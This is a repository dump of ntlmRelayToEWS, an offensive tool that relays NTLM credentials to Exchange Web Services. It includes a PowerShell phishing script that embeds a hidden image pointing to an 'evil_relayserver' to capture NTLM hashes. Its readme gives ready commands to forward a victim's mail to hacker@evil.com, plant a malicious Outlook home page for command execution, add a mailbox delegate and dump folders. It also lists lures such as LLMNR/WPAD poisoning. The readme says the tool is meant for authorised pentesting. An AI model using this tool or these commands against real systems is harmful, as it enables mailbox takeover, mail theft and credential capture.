├── .gitattributes
├── Invoke-SendEmail.ps1
├── LICENSE
├── SOAPRequestTemplates
├── addDelegate.tpl
├── createHiddenFolder.tpl
├── forwardRule.tpl
├── getFolderID.tpl
├── getItem.tpl
├── listFolder.tpl
├── resolveEmailAddr.tpl
├── sendMail.tpl
└── setHomePage.tpl
├── lib
├── __init__.py
├── __init__.pyc
├── config.py
├── config.pyc
├── helper.py
├── helper.pyc
├── httprelayclient.py
├── httprelayclient.pyc
├── httprelayserver.py
├── httprelayserver.pyc
├── logger.py
├── logger.pyc
├── smbrelayserver.py
├── smbrelayserver.pyc
├── targetsutils.py
└── targetsutils.pyc
├── ntlmRelayToEWS.py
├── readme.md
└── sampleMsg.html
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
--------------------------------------------------------------------------------
/Invoke-SendEmail.ps1:
--------------------------------------------------------------------------------
1 | function Invoke-SendEmail {
2 | <#
3 | .SYNOPSIS
4 | Function: Invoke-SendMail
5 | Author: Arno0x0x, Twitter: @Arno0x0x
6 |
7 | This script sends an email to a targeted user embedding a hidden image pointing to the ntlmRelayToEWS server.
8 | You can use this trick to receive NTLM credentials from the target.
9 |
10 | Beware that the Outlook.Application COM object seems to only works with 32bits version of PowerShell, so use:
11 | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
12 |
13 | .EXAMPLE
14 | # Example of using this function
15 | PS C:> Invoke-SendEmail -Address "user@corporate.com" `
16 | -Subject "Important" -Message "Hi,Could you please check something for me ?
Give me a sign
" `
17 | -RelayServerURL "http://evil_relayserver/signature.html"
18 | #>
19 |
20 | [cmdletbinding()]
21 | Param (
22 | [Parameter(Mandatory=$True)]
23 | [String]$Address,
24 |
25 | [Parameter(Mandatory=$True)]
26 | [String]$Subject,
27 |
28 | [Parameter(Mandatory=$True)]
29 | [String]$Message,
30 |
31 | [Parameter(Mandatory=$True)]
32 | [String]$RelayServerURL
33 | )
34 |
35 | Process {
36 | # Create an instance Microsoft Outlook
37 | $Outlook = New-Object -ComObject Outlook.Application
38 | $Mail = $Outlook.CreateItem(0)
39 | $Mail.To = "$Address"
40 | $Mail.Subject = $Subject
41 | #$Mail.Body = $Body
42 | $Mail.HTMLBody = "" + $Message + "-
![](" + $RelayServerURL + ")
13 | I've tested this tool against an **Exchange Server 2010 SP2** only (*which is quite old admitedly*), so all EWS SOAP request templates, as well as the parsing of the EWS responses, are only tested for this version of Exchange.
14 | Although I've not tested myself, some reported this tool is also working against an **Exchange 2016 server**, out of the box (*ie: without any changes to the SOAP request templates*).
15 |
16 | In case those SOAP requests wouldn't work on another version of Exchange, it is pretty easy to create the SOAP request templates to match a newer version by using the Microsoft EWS Managed API in trace mode and capture the proper SOAP requests (*that's how I did it !*).
17 |
18 | **EWS SOAP client**:
19 | I would have loved to use a SOAP client in order to get a proper interface for automatically create all SOAP requests based on the Exchange WSDL. I tried using '**zeep**' but I banged my head on the wall to get it working with the Exchange WSDL as it requires to download external namespaces and as such requires an internet connection. Also, with 'zeep', the use of a custom transport session requires a `Requests.session` which is not the type of HTTP(S) session we have by default with the HTTPClientRelay: it would have required either to refactor the HTTPClientRelay to use '*Requests*' (*/me lazy*) or to simply get zeep to create the messages with `zeep.client.create_message()` and then send it with the relayed session we already have. Or is it because I'm a lame developper ? oh well...
20 |
21 | Prerequisites
22 | ----------------------
23 | **ntlmRelayToEWS** requires a proper/clean install of [Impacket](https://github.com/CoreSecurity/impacket). So follow their instructions to get a working version of Impacket.
24 |
25 | Usage
26 | ----------------------
27 | **ntlmRelayToEWS** implements the following attacks, which are all made on behalf of the relayed user (*victim*).
28 |
29 | Refer to the help to get additional info: `./ntlmRelayToEWS -h`. Get more debug information using the `--verbose` or `-v` flag.
30 |
31 | **sendMail**
32 | Sends an HTML formed e-mail to a list of destinations:
33 | `./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "user1@corporate.org,user2@corporate.com" -s Subject -m sampleMsg.html`
34 |
35 | **getFolder**
36 | Retrieves all items from a predefined folder (*inbox, sent items, calendar, tasks*):
37 | `./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox`
38 |
39 | **forwardRule**
40 | Creates an evil forwarding rule that forwards all incoming message for the victim to another email address:
41 | `./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d hacker@evil.com`
42 |
43 | **setHomePage**
44 | Defines a folder home page (*usually for the Inbox folder*) by specifying a URL. This technique, uncovered by SensePost/Etienne Stalmans allows for **arbitray command execution** in the victim's Outlook program by forging a specific HTML page: [Outlook Home Page – Another Ruler Vector](https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/):
45 | `./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html`
46 |
47 | **addDelegate**
48 | Sets a delegate address on the victim's primary mailbox. In other words, the victim delegates the control of its mailbox to someone else. Once done, it means the delegated address has full control over the victim's mailbox, by simply opening it as an additional mailbox in Outlook:
49 | `./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d delegated.address@corporate.org`
50 |
51 | How to get the victim to give you their credentials for relaying ?
52 | ----------------------
53 | In order to get the victim to send his credentials to ntlmRelayToEWS you can use any of the following well known methods:
54 | - Send the victim an e-mail with a hidden picture which 'src' attribute points to the ntlmRelayToEWS server, using either HTTP or SMB. Check the `Invoke-SendEmail.ps1` script to achieve this.
55 | - Create a link file which 'icon' attribute points to the ntlmRelayToEWS using a UNC path and let victim browse a folder with this link
56 | - Perform LLMNR, NBNS or WPAD poisonning (*think of Responder.py or Invoke-Inveigh for instance*) to get any corresponding SMB or HTTP trafic from the victim sent to ntlmRelayToEWS
57 | - other ?
58 |
59 | Credits
60 | ----------------
61 | Based on [Impacket](https://github.com/CoreSecurity/impacket) and *ntlmrelayx* by Alberto Solino [@agsolino](https://twitter.com/agsolino).
62 |
63 | DISCLAIMER
64 | ----------------
65 | This tool is intended to be used in a legal and legitimate way only:
66 | - either on your own systems as a means of learning, of demonstrating what can be done and how, or testing your defense and detection mechanisms
67 | - on systems you've been officially and legitimately entitled to perform some security assessments (pentest, security audits)
68 |
69 | Quoting Empire's authors:
70 | *There is no way to build offensive tools useful to the legitimate infosec industry while simultaneously preventing malicious actors from abusing them.*
--------------------------------------------------------------------------------
/sampleMsg.html:
--------------------------------------------------------------------------------
1 | Hello, my mailbox has been...
2 | PWNED!!
3 |
--------------------------------------------------------------------------------